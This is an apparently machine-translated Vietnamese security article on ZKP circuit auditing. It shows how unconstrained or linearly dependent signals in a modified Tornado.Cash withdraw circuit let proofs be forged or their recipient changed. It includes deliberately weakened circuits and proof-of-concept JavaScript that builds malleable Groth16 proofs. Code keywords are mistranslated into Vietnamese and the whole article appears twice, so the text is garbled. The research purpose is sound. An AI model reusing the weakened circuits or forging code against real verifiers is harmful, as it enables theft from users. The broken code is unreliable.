Tác giả bài viết này: Chuyên gia nghiên cứu bảo mật Beosin Saya & Bryce
1. Giới thiệu
Dự án ZKP (Bằng chứng không kiến thức) chủ yếu bao gồm hai phần: mạch ngoài chuỗi và hợp đồng trên chuỗi. Phần mạch liên quan đến sự trừu tượng hóa ràng buộc của logic nghiệp vụ và kiến thức mật mã cơ bản phức tạp nên phần này gây khó khăn cho phía dự án để thực hiện và cũng là Khó khăn trong việc kiểm tra nhân viên an ninh **Sau đây là trường hợp bảo mật mà các bên dự án dễ dàng bỏ qua - "các ràng buộc dư thừa". Mục đích là để nhắc nhở các bên dự án và người dùng chú ý đến các rủi ro bảo mật liên quan . **
2. Có thể xóa các ràng buộc thừa không
Khi kiểm tra các dự án ZKP, bạn thường sẽ thấy những hạn chế kỳ lạ sau đây, nhưng nhiều bên dự án không thực sự hiểu ý nghĩa cụ thể. Để giảm bớt khó khăn trong việc tái sử dụng mạch và tiết kiệm mức tiêu thụ điện toán ngoài chuỗi, do đó, một số ràng buộc có thể bị xóa gây ra vấn đề bảo mật:
Chúng tôi đã so sánh số lượng ràng buộc được tạo trước và sau khi xóa đoạn mã trên và nhận thấy rằng sự hiện diện hay vắng mặt của các ràng buộc trên trong một dự án thực tế ít ảnh hưởng đến tổng số ràng buộc của dự án, vì chúng dễ bị bên dự án bỏ qua. tối ưu hóa tự động.
Mục đích thực sự của mạch trên chỉ là nối thêm một phần dữ liệu vào bằng chứng.Lấy Tornado.Cash làm ví dụ, dữ liệu bổ sung bao gồm: địa chỉ người nhận, địa chỉ người chuyển tiếp, phí xử lý, v.v., vì những tín hiệu này không ảnh hưởng đến tính toán thực tế của mạch tiếp theo. , do đó có thể gây nhầm lẫn giữa một số bên tham gia dự án khác, do đó loại bỏ họ khỏi mạch, dẫn đến giao dịch của một số người dùng bị cướp.
Sau đây sẽ lấy dự án giao dịch riêng tư đơn giản Tornado.Cash làm ví dụ để giới thiệu cuộc tấn công này. Bài viết này xóa các tín hiệu liên quan và các ràng buộc của thông tin bổ sung trong mạch và như sau:
bao gồm "../../../../node_modules/circomlib/ Circuits/bitify.circom"; bao gồm "../../../node_modules/circomlib/ Circuits/pedersen.circom";bao gồm "merkleTree.circom";template CommitmentHasher() { bộ vô hiệu hóa đầu vào tín hiệu; bí mật đầu vào tín hiệu; cam kết đầu ra tín hiệu; // nullifierHash đầu ra tín hiệu; cam kết thành phầnHasher = Pedersen(496); // thành phần nullifierHasher = Pedersen(248); thành phần nullifierBits = Num2Bits(248); thành phần secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== bí mật; cho ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; cam kếtHasher.in [i] <== nullifierBits.out [i] ; cam kếtHasher.in[i + 248] <== secretBits.out [i] ; } cam kết <== cam kếtHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Xác minh rằng cam kết tương ứng với bí mật đã cho và bộ vô hiệu hóa được đưa vào cây merkle của Deposittemplate Withdraw(levels) { signal input root; // nullifierHash đầu vào tín hiệu; cam kết đầu ra tín hiệu; // người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào // bộ chuyển tiếp đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào // phí đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào // hoàn trả tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào trong bộ vô hiệu hóa tín hiệu đầu vào; bí mật đầu vào tín hiệu; // đường dẫn đầu vào tín hiệuElements [levels] ; // đường dẫn đầu vào tín hiệuChỉ số [levels] ; máy băm thành phần = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== bí mật; cam kết <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // cây thành phần = MerkleTreeChecker(levels); // tree.leaf <== hasher.commitment; // tree.root <== gốc; // for ( i = 0; i < cấp độ; i++) { // tree.pathElements [i] <== phần tử đường dẫn [i] ; // tree.pathIndices [i] <== đường dẫnChỉ số [i] ; // } // Thêm các tín hiệu ẩn để đảm bảo rằng việc giả mạo người nhận hoặc phí sẽ làm mất hiệu lực bằng chứng báo lỗi // Rất có thể là không bắt buộc, nhưng tốt hơn hết là bạn nên đảm bảo an toàn và chỉ cần 2 ràng buộc // Hình vuông là được sử dụng để ngăn trình tối ưu hóa loại bỏ các ràng buộc đó // signal remSquare; // phí tín hiệuSquare; // bộ chuyển tiếp tín hiệuSquare; // tín hiệu returnSquare; // người nhậnSquare <== người nhận * người nhận; // phíSquare <== phí * phí; // chuyển tiếpSquare <== chuyển tiếp * chuyển tiếp; // returnSquare <== hoàn tiền * hoàn tiền;}thành phần chính = Rút tiền(20);
Để dễ hiểu, bài viết này xóa các phần liên quan đến xác minh Cây Merkle và nullifierHash trong mạch, đồng thời chú thích địa chỉ người nhận thanh toán và các thông tin khác. Trong hợp đồng on-chain do mạch này tạo ra, bài viết này sử dụng hai địa chỉ khác nhau để xác minh cùng một lúc, có thể thấy rằng cả hai địa chỉ khác nhau đều có thể vượt qua xác minh:
Nhưng khi đoạn mã sau được thêm vào các ràng buộc của mạch, có thể thấy rằng chỉ địa chỉ người nhận được đặt trong mạch mới có thể vượt qua quá trình xác minh:
người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào của bộ chuyển tiếp đầu vào tín hiệu; // không tham gia bất kỳ tính toán nào, phí đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào, hoàn lại tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nàongười nhận tín hiệuSquare;phí tín hiệuSquare;chuyển tiếp tín hiệuSquare;hoàn trả tín hiệuSquare;người nhậnSquare <== người nhận * người nhận;người nhậnSquare <== người nhận * người nhận;feeSquare <== phí * phí;relayerSquare <== người chuyển tiếp * người chuyển tiếp ;refundSquare <== hoàn tiền * hoàn tiền;
Do đó, khi Bằng chứng không bị ràng buộc với người nhận, có thể thấy rằng địa chỉ của người nhận có thể được thay đổi theo ý muốn và bằng chứng zk có thể được xác minh, sau đó khi người dùng muốn rút tiền từ nhóm dự án, anh ta có thể bị cướp bởi MEV. Sau đây là ví dụ về cuộc tấn công tiền tuyến MEV vào DApp giao dịch quyền riêng tư:
3. Cách viết sai các ràng buộc dư thừa
Ngoài ra, có hai lỗi phổ biến khi ghi vào mạch, có thể dẫn đến các cuộc tấn công chi tiêu gấp đôi nghiêm trọng hơn: một là tín hiệu đầu vào được đặt trong mạch nhưng tín hiệu không bị hạn chế, hai là tín hiệu đầu vào không bị hạn chế. trong số nhiều ràng buộc trên tín hiệu là Có sự phụ thuộc tuyến tính giữa chúng. Hình bên dưới thể hiện quy trình tính toán Chứng minh và Xác minh phổ biến của thuật toán Groth16:
Prover tạo ra bằng chứng Bằng chứng π = ( [A] 1, [C] 1, [B] 2):
Sau khi Người xác minh nhận được bằng chứng π[A, B, C], nó sẽ tính toán phương trình xác minh sau. Nếu nó được thiết lập, quá trình xác minh sẽ đạt, nếu không thì quá trình xác minh sẽ không thành công:
3.1 Tín hiệu không tham gia vào các ràng buộc
Nếu một tín hiệu công khai Zi nào đó không có bất kỳ ràng buộc nào trong mạch, thì đối với ràng buộc j của nó, giá trị của công thức sau luôn bằng 0 (trong đó rj là giá trị thử thách ngẫu nhiên mà Người xác minh cần Người chứng minh tính toán):
Đồng thời, điều này có nghĩa là đối với Zi, bất kỳ x nào cũng có công thức sau:
Do đó, biểu thức sau trong phương trình xác minh dành cho tín hiệu x:
Vì phương trình xác minh như sau:
Có thể thấy rằng dù Zi lấy giá trị nào thì kết quả của phép tính này luôn bằng 0.
Bài viết này sửa đổi mạch Tornado.Cash như sau, bạn có thể thấy mạch có 1 tín hiệu đầu vào công cộng và 3 tín hiệu riêng là root, nullifier và secret.Người nhận không có bất kỳ ràng buộc nào trong mạch:
mẫu Rút tiền (cấp độ) { gốc đầu vào tín hiệu; cam kết đầu ra tín hiệu; người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào trong bộ vô hiệu hóa tín hiệu đầu vào; bí mật đầu vào tín hiệu; máy băm thành phần = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== bí mật; cam kết <== hasher.commitment;}thành phần chính {công khai [recipient] }= Rút(20);
Bài viết này sẽ được thử nghiệm trên thư viện snarkjs phiên bản 0.7.0 mới nhất và mã ràng buộc ngầm của nó sẽ bị xóa để chứng minh hiệu ứng tấn công chi tiêu gấp đôi khi không có tín hiệu ràng buộc trong mạch. Mã exp lõi như sau:
hàm không đồng bộ groth16_exp() { let inputA = "7"; hãy để inputB = "11"; hãy để inputC = "9"; hãy để inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; đang chờ newZKey(rút2.r1cs, powerOfTau28_hez_final_14.ptau, rút2_0000.zkey, ) đang chờ đèn hiệu(rút2_0000.zkey, rút2_final.zkey, "Đèn hiệu cuối cùng", "0102030405060708090a0b0c0d0e0f10111121314151617181 91a1b1c1d1e1f", 10, ) const verifyKey = đang chờ importVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let { proof, publicSignals } = đang chờ grth16FullProve({ root: inputA, nullifier: inputB, bí mật: inputC, người nhận: inputD }, "rút2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") xác minh(tín hiệu công khai, bằng chứng); tín hiệu công khai [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals, proof);}
Bạn có thể thấy rằng cả hai Bằng chứng được tạo đều vượt qua quá trình xác minh:
3.2 Ràng buộc phụ thuộc tuyến tính
mẫu Rút tiền (cấp độ) { gốc đầu vào tín hiệu; // nullifierHash đầu vào tín hiệu; cam kết đầu ra tín hiệu; người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào của bộ chuyển tiếp đầu vào tín hiệu; // không tham gia tính toán phí đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào // hoàn trả tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào trong bộ vô hiệu hóa tín hiệu đầu vào; bí mật đầu vào tín hiệu; // đường dẫn đầu vào tín hiệuElements [levels] ; // đường dẫn đầu vào tín hiệuChỉ số [levels] ; máy băm thành phần = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== bí mật; cam kết <== hasher.commitment; tín hiệu đầu vào hình vuông; // người nhậnSquare <== người nhận * người nhận; // phíSquare <== phí * phí; // chuyển tiếpSquare <== chuyển tiếp * chuyển tiếp; // hoàn lạiSquare <== hoàn lại * hoàn lại tiền; 35 * Square === (2người nhận + 2người chuyển tiếp + phí + 2) * (người chuyển tiếp + 4);}thành phần chính {công khai [người nhận,Square]}= Rút tiền(20);
Mạch trên có thể dẫn đến một cuộc tấn công chi tiêu gấp đôi, mã lõi exp cụ thể như sau:
Sau khi sửa đổi một phần mã thư viện, chúng tôi đã thử nghiệm nó trên phiên bản snarkjs 0.7.0. Kết quả cho thấy cả hai bằng chứng giả mạo sau đây đều có thể vượt qua quá trình xác minh:
publicsingnal1 + proof1
publicsingnal2 + proof2
4 bản sửa lỗi
Mã thư viện 4.1 zk
Hiện tại, một số thư viện zk phổ biến như thư viện snarkjs sẽ ngầm thêm một số ràng buộc vào mạch, chẳng hạn như ràng buộc đơn giản nhất:
Công thức trên luôn đúng về mặt toán học, do đó, cho dù giá trị tín hiệu thực tế là bao nhiêu và đáp ứng bất kỳ ràng buộc nào, nó vẫn có thể được thêm ngầm và thống nhất vào mạch bằng mã thư viện trong quá trình thiết lập. được sử dụng trong mạch điện. Đó là một cách tiếp cận an toàn hơn. Ví dụ: snarkjs ngầm thêm các ràng buộc sau khi tạo zkey trong quá trình thiết lập:
Mạch 4.2
Khi bên dự án thiết kế mạch, vì thư viện zk của bên thứ ba được sử dụng có thể không thêm các ràng buộc bổ sung trong quá trình thiết lập hoặc biên dịch,** chúng tôi khuyên bên dự án nên cố gắng đảm bảo tính toàn vẹn của các ràng buộc ở cấp độ thiết kế mạch và kiểm soát chặt chẽ Tất cả các tín hiệu đều bị ràng buộc về mặt pháp lý để đảm bảo an toàn, chẳng hạn như ràng buộc vuông được hiển thị trước đó. **
Xem bản gốc
Trang này có thể chứa nội dung của bên thứ ba, được cung cấp chỉ nhằm mục đích thông tin (không phải là tuyên bố/bảo đảm) và không được coi là sự chứng thực cho quan điểm của Gate hoặc là lời khuyên về tài chính hoặc chuyên môn. Xem Tuyên bố từ chối trách nhiệm để biết chi tiết.
Tài liệu phải đọc dành cho các bên tham gia dự án ZKP: Kiểm tra mạch—Các ràng buộc dư thừa có thực sự dư thừa không?
Tác giả bài viết này: Chuyên gia nghiên cứu bảo mật Beosin Saya & Bryce
1. Giới thiệu
Dự án ZKP (Bằng chứng không kiến thức) chủ yếu bao gồm hai phần: mạch ngoài chuỗi và hợp đồng trên chuỗi. Phần mạch liên quan đến sự trừu tượng hóa ràng buộc của logic nghiệp vụ và kiến thức mật mã cơ bản phức tạp nên phần này gây khó khăn cho phía dự án để thực hiện và cũng là Khó khăn trong việc kiểm tra nhân viên an ninh **Sau đây là trường hợp bảo mật mà các bên dự án dễ dàng bỏ qua - "các ràng buộc dư thừa". Mục đích là để nhắc nhở các bên dự án và người dùng chú ý đến các rủi ro bảo mật liên quan . **
2. Có thể xóa các ràng buộc thừa không
Khi kiểm tra các dự án ZKP, bạn thường sẽ thấy những hạn chế kỳ lạ sau đây, nhưng nhiều bên dự án không thực sự hiểu ý nghĩa cụ thể. Để giảm bớt khó khăn trong việc tái sử dụng mạch và tiết kiệm mức tiêu thụ điện toán ngoài chuỗi, do đó, một số ràng buộc có thể bị xóa gây ra vấn đề bảo mật:
Chúng tôi đã so sánh số lượng ràng buộc được tạo trước và sau khi xóa đoạn mã trên và nhận thấy rằng sự hiện diện hay vắng mặt của các ràng buộc trên trong một dự án thực tế ít ảnh hưởng đến tổng số ràng buộc của dự án, vì chúng dễ bị bên dự án bỏ qua. tối ưu hóa tự động.
Mục đích thực sự của mạch trên chỉ là nối thêm một phần dữ liệu vào bằng chứng.Lấy Tornado.Cash làm ví dụ, dữ liệu bổ sung bao gồm: địa chỉ người nhận, địa chỉ người chuyển tiếp, phí xử lý, v.v., vì những tín hiệu này không ảnh hưởng đến tính toán thực tế của mạch tiếp theo. , do đó có thể gây nhầm lẫn giữa một số bên tham gia dự án khác, do đó loại bỏ họ khỏi mạch, dẫn đến giao dịch của một số người dùng bị cướp.
Sau đây sẽ lấy dự án giao dịch riêng tư đơn giản Tornado.Cash làm ví dụ để giới thiệu cuộc tấn công này. Bài viết này xóa các tín hiệu liên quan và các ràng buộc của thông tin bổ sung trong mạch và như sau:
bao gồm "../../../../node_modules/circomlib/ Circuits/bitify.circom"; bao gồm "../../../node_modules/circomlib/ Circuits/pedersen.circom";bao gồm "merkleTree.circom";template CommitmentHasher() { bộ vô hiệu hóa đầu vào tín hiệu; bí mật đầu vào tín hiệu; cam kết đầu ra tín hiệu; // nullifierHash đầu ra tín hiệu; cam kết thành phầnHasher = Pedersen(496); // thành phần nullifierHasher = Pedersen(248); thành phần nullifierBits = Num2Bits(248); thành phần secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== bí mật; cho ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; cam kếtHasher.in [i] <== nullifierBits.out [i] ; cam kếtHasher.in[i + 248] <== secretBits.out [i] ; } cam kết <== cam kếtHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Xác minh rằng cam kết tương ứng với bí mật đã cho và bộ vô hiệu hóa được đưa vào cây merkle của Deposittemplate Withdraw(levels) { signal input root; // nullifierHash đầu vào tín hiệu; cam kết đầu ra tín hiệu; // người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào // bộ chuyển tiếp đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào // phí đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào // hoàn trả tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào trong bộ vô hiệu hóa tín hiệu đầu vào; bí mật đầu vào tín hiệu; // đường dẫn đầu vào tín hiệuElements [levels] ; // đường dẫn đầu vào tín hiệuChỉ số [levels] ; máy băm thành phần = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== bí mật; cam kết <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // cây thành phần = MerkleTreeChecker(levels); // tree.leaf <== hasher.commitment; // tree.root <== gốc; // for ( i = 0; i < cấp độ; i++) { // tree.pathElements [i] <== phần tử đường dẫn [i] ; // tree.pathIndices [i] <== đường dẫnChỉ số [i] ; // } // Thêm các tín hiệu ẩn để đảm bảo rằng việc giả mạo người nhận hoặc phí sẽ làm mất hiệu lực bằng chứng báo lỗi // Rất có thể là không bắt buộc, nhưng tốt hơn hết là bạn nên đảm bảo an toàn và chỉ cần 2 ràng buộc // Hình vuông là được sử dụng để ngăn trình tối ưu hóa loại bỏ các ràng buộc đó // signal remSquare; // phí tín hiệuSquare; // bộ chuyển tiếp tín hiệuSquare; // tín hiệu returnSquare; // người nhậnSquare <== người nhận * người nhận; // phíSquare <== phí * phí; // chuyển tiếpSquare <== chuyển tiếp * chuyển tiếp; // returnSquare <== hoàn tiền * hoàn tiền;}thành phần chính = Rút tiền(20);
Để dễ hiểu, bài viết này xóa các phần liên quan đến xác minh Cây Merkle và nullifierHash trong mạch, đồng thời chú thích địa chỉ người nhận thanh toán và các thông tin khác. Trong hợp đồng on-chain do mạch này tạo ra, bài viết này sử dụng hai địa chỉ khác nhau để xác minh cùng một lúc, có thể thấy rằng cả hai địa chỉ khác nhau đều có thể vượt qua xác minh:
Nhưng khi đoạn mã sau được thêm vào các ràng buộc của mạch, có thể thấy rằng chỉ địa chỉ người nhận được đặt trong mạch mới có thể vượt qua quá trình xác minh:
người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào của bộ chuyển tiếp đầu vào tín hiệu; // không tham gia bất kỳ tính toán nào, phí đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào, hoàn lại tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nàongười nhận tín hiệuSquare;phí tín hiệuSquare;chuyển tiếp tín hiệuSquare;hoàn trả tín hiệuSquare;người nhậnSquare <== người nhận * người nhận;người nhậnSquare <== người nhận * người nhận;feeSquare <== phí * phí;relayerSquare <== người chuyển tiếp * người chuyển tiếp ;refundSquare <== hoàn tiền * hoàn tiền;
Do đó, khi Bằng chứng không bị ràng buộc với người nhận, có thể thấy rằng địa chỉ của người nhận có thể được thay đổi theo ý muốn và bằng chứng zk có thể được xác minh, sau đó khi người dùng muốn rút tiền từ nhóm dự án, anh ta có thể bị cướp bởi MEV. Sau đây là ví dụ về cuộc tấn công tiền tuyến MEV vào DApp giao dịch quyền riêng tư:
3. Cách viết sai các ràng buộc dư thừa
Ngoài ra, có hai lỗi phổ biến khi ghi vào mạch, có thể dẫn đến các cuộc tấn công chi tiêu gấp đôi nghiêm trọng hơn: một là tín hiệu đầu vào được đặt trong mạch nhưng tín hiệu không bị hạn chế, hai là tín hiệu đầu vào không bị hạn chế. trong số nhiều ràng buộc trên tín hiệu là Có sự phụ thuộc tuyến tính giữa chúng. Hình bên dưới thể hiện quy trình tính toán Chứng minh và Xác minh phổ biến của thuật toán Groth16:
Prover tạo ra bằng chứng Bằng chứng π = ( [A] 1, [C] 1, [B] 2):
Sau khi Người xác minh nhận được bằng chứng π[A, B, C], nó sẽ tính toán phương trình xác minh sau. Nếu nó được thiết lập, quá trình xác minh sẽ đạt, nếu không thì quá trình xác minh sẽ không thành công:
3.1 Tín hiệu không tham gia vào các ràng buộc
Nếu một tín hiệu công khai Zi nào đó không có bất kỳ ràng buộc nào trong mạch, thì đối với ràng buộc j của nó, giá trị của công thức sau luôn bằng 0 (trong đó rj là giá trị thử thách ngẫu nhiên mà Người xác minh cần Người chứng minh tính toán):
Đồng thời, điều này có nghĩa là đối với Zi, bất kỳ x nào cũng có công thức sau:
Do đó, biểu thức sau trong phương trình xác minh dành cho tín hiệu x:
Vì phương trình xác minh như sau:
Có thể thấy rằng dù Zi lấy giá trị nào thì kết quả của phép tính này luôn bằng 0.
Bài viết này sửa đổi mạch Tornado.Cash như sau, bạn có thể thấy mạch có 1 tín hiệu đầu vào công cộng và 3 tín hiệu riêng là root, nullifier và secret.Người nhận không có bất kỳ ràng buộc nào trong mạch:
mẫu Rút tiền (cấp độ) { gốc đầu vào tín hiệu; cam kết đầu ra tín hiệu; người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào trong bộ vô hiệu hóa tín hiệu đầu vào; bí mật đầu vào tín hiệu; máy băm thành phần = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== bí mật; cam kết <== hasher.commitment;}thành phần chính {công khai [recipient] }= Rút(20);
Bài viết này sẽ được thử nghiệm trên thư viện snarkjs phiên bản 0.7.0 mới nhất và mã ràng buộc ngầm của nó sẽ bị xóa để chứng minh hiệu ứng tấn công chi tiêu gấp đôi khi không có tín hiệu ràng buộc trong mạch. Mã exp lõi như sau:
hàm không đồng bộ groth16_exp() { let inputA = "7"; hãy để inputB = "11"; hãy để inputC = "9"; hãy để inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; đang chờ newZKey(rút2.r1cs, powerOfTau28_hez_final_14.ptau, rút2_0000.zkey, ) đang chờ đèn hiệu(rút2_0000.zkey, rút2_final.zkey, "Đèn hiệu cuối cùng", "0102030405060708090a0b0c0d0e0f10111121314151617181 91a1b1c1d1e1f", 10, ) const verifyKey = đang chờ importVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let { proof, publicSignals } = đang chờ grth16FullProve({ root: inputA, nullifier: inputB, bí mật: inputC, người nhận: inputD }, "rút2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") xác minh(tín hiệu công khai, bằng chứng); tín hiệu công khai [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals, proof);}
Bạn có thể thấy rằng cả hai Bằng chứng được tạo đều vượt qua quá trình xác minh:
3.2 Ràng buộc phụ thuộc tuyến tính
mẫu Rút tiền (cấp độ) { gốc đầu vào tín hiệu; // nullifierHash đầu vào tín hiệu; cam kết đầu ra tín hiệu; người nhận tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào của bộ chuyển tiếp đầu vào tín hiệu; // không tham gia tính toán phí đầu vào tín hiệu; // không tham gia vào bất kỳ tính toán nào // hoàn trả tín hiệu đầu vào; // không tham gia vào bất kỳ tính toán nào trong bộ vô hiệu hóa tín hiệu đầu vào; bí mật đầu vào tín hiệu; // đường dẫn đầu vào tín hiệuElements [levels] ; // đường dẫn đầu vào tín hiệuChỉ số [levels] ; máy băm thành phần = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== bí mật; cam kết <== hasher.commitment; tín hiệu đầu vào hình vuông; // người nhậnSquare <== người nhận * người nhận; // phíSquare <== phí * phí; // chuyển tiếpSquare <== chuyển tiếp * chuyển tiếp; // hoàn lạiSquare <== hoàn lại * hoàn lại tiền; 35 * Square === (2người nhận + 2người chuyển tiếp + phí + 2) * (người chuyển tiếp + 4);}thành phần chính {công khai [người nhận,Square]}= Rút tiền(20);
Mạch trên có thể dẫn đến một cuộc tấn công chi tiêu gấp đôi, mã lõi exp cụ thể như sau:
const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, các phần: partsZKey } = đang chờ readBinFile("tornadocash_final.zkey", "zkey", 2 , 1 << 25, 1 << 23) const buffBasesC = đang chờ readSection(fdZKey, partsZKey, 8) fdZKey.close() const Curve = đang chờ buildBn128(); const Fr = đường cong.Fr; const G1 = Curve.G1; const new_pi = Uint8Array mới(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); constmatch_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, orginal_pub_input, Fr.n8); const sGIn = Curve.G1.F.n8 * 2 constmatching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const Linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( tuyến tính_factor, Fr.sub(matching_pub, new_pi)); const p = chờ đường cong.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) trả về stringifyBigInts(G1.toObject(malleable_c))}
Sau khi sửa đổi một phần mã thư viện, chúng tôi đã thử nghiệm nó trên phiên bản snarkjs 0.7.0. Kết quả cho thấy cả hai bằng chứng giả mạo sau đây đều có thể vượt qua quá trình xác minh:
4 bản sửa lỗi
Mã thư viện 4.1 zk
Hiện tại, một số thư viện zk phổ biến như thư viện snarkjs sẽ ngầm thêm một số ràng buộc vào mạch, chẳng hạn như ràng buộc đơn giản nhất:
Công thức trên luôn đúng về mặt toán học, do đó, cho dù giá trị tín hiệu thực tế là bao nhiêu và đáp ứng bất kỳ ràng buộc nào, nó vẫn có thể được thêm ngầm và thống nhất vào mạch bằng mã thư viện trong quá trình thiết lập. được sử dụng trong mạch điện. Đó là một cách tiếp cận an toàn hơn. Ví dụ: snarkjs ngầm thêm các ràng buộc sau khi tạo zkey trong quá trình thiết lập:
Mạch 4.2
Khi bên dự án thiết kế mạch, vì thư viện zk của bên thứ ba được sử dụng có thể không thêm các ràng buộc bổ sung trong quá trình thiết lập hoặc biên dịch,** chúng tôi khuyên bên dự án nên cố gắng đảm bảo tính toàn vẹn của các ràng buộc ở cấp độ thiết kế mạch và kiểm soát chặt chẽ Tất cả các tín hiệu đều bị ràng buộc về mặt pháp lý để đảm bảo an toàn, chẳng hạn như ràng buộc vuông được hiển thị trước đó. **